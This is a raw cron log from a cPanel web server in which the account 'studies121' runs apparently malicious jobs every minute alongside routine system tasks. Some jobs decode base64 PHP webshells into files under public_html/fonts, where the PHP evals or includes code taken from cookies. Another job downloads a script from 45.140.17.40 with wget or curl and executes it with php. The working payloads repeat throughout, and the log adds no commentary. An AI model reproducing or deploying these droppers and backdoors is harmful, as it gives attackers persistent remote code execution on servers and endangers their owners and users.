Sep  5 22:52:01 ip-184-168-122-23 CROND[5931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:53:01 ip-184-168-122-23 CROND[6062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:53:01 ip-184-168-122-23 CROND[6063]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:53:01 ip-184-168-122-23 CROND[6064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:53:01 ip-184-168-122-23 CROND[6065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:54:02 ip-184-168-122-23 CROND[6176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:54:02 ip-184-168-122-23 CROND[6178]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:54:02 ip-184-168-122-23 CROND[6177]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:54:02 ip-184-168-122-23 CROND[6179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:54:02 ip-184-168-122-23 CROND[6180]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:55:01 ip-184-168-122-23 CROND[6370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:55:01 ip-184-168-122-23 CROND[6369]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:55:01 ip-184-168-122-23 CROND[6371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:55:01 ip-184-168-122-23 CROND[6373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:55:01 ip-184-168-122-23 CROND[6368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:55:01 ip-184-168-122-23 CROND[6372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:56:01 ip-184-168-122-23 CROND[6501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:56:01 ip-184-168-122-23 CROND[6503]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:56:01 ip-184-168-122-23 CROND[6504]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:56:01 ip-184-168-122-23 CROND[6505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:56:01 ip-184-168-122-23 CROND[6506]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:57:01 ip-184-168-122-23 CROND[6601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:57:01 ip-184-168-122-23 CROND[6602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:57:01 ip-184-168-122-23 CROND[6603]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:57:01 ip-184-168-122-23 CROND[6605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:58:01 ip-184-168-122-23 CROND[6691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:58:01 ip-184-168-122-23 CROND[6693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:58:01 ip-184-168-122-23 CROND[6695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:58:01 ip-184-168-122-23 CROND[6694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:58:01 ip-184-168-122-23 CROND[6692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:59:01 ip-184-168-122-23 CROND[6776]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:59:01 ip-184-168-122-23 CROND[6777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:59:01 ip-184-168-122-23 CROND[6778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:59:01 ip-184-168-122-23 CROND[6779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:00:01 ip-184-168-122-23 CROND[6939]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 23:00:01 ip-184-168-122-23 CROND[6942]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 23:00:01 ip-184-168-122-23 CROND[6947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:00:01 ip-184-168-122-23 CROND[6945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 23:00:01 ip-184-168-122-23 CROND[6944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:00:01 ip-184-168-122-23 CROND[6949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:00:01 ip-184-168-122-23 CROND[6946]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:00:01 ip-184-168-122-23 CROND[6950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:01:01 ip-184-168-122-23 CROND[7060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:01:01 ip-184-168-122-23 CROND[7067]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 23:01:01 ip-184-168-122-23 CROND[7063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:01:01 ip-184-168-122-23 CROND[7066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:01:01 ip-184-168-122-23 CROND[7064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:01:01 ip-184-168-122-23 CROND[7062]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7062]: starting 0anacron
Sep  5 23:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[7084]: finished 0anacron
Sep  5 23:02:01 ip-184-168-122-23 CROND[7163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:02:01 ip-184-168-122-23 CROND[7167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:02:01 ip-184-168-122-23 CROND[7165]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:02:01 ip-184-168-122-23 CROND[7164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:02:01 ip-184-168-122-23 CROND[7166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:03:01 ip-184-168-122-23 CROND[7253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:03:01 ip-184-168-122-23 CROND[7254]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:03:01 ip-184-168-122-23 CROND[7256]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 23:03:01 ip-184-168-122-23 CROND[7257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 23:04:01 ip-184-168-122-23 CROND[7339]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 23:04:01 ip-184-168-122-23 CROND[7343]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 23:04:01 ip-184-168-122-23 CROND[7340]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 23:04:01 ip-184-168-122-23 CROND[7341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
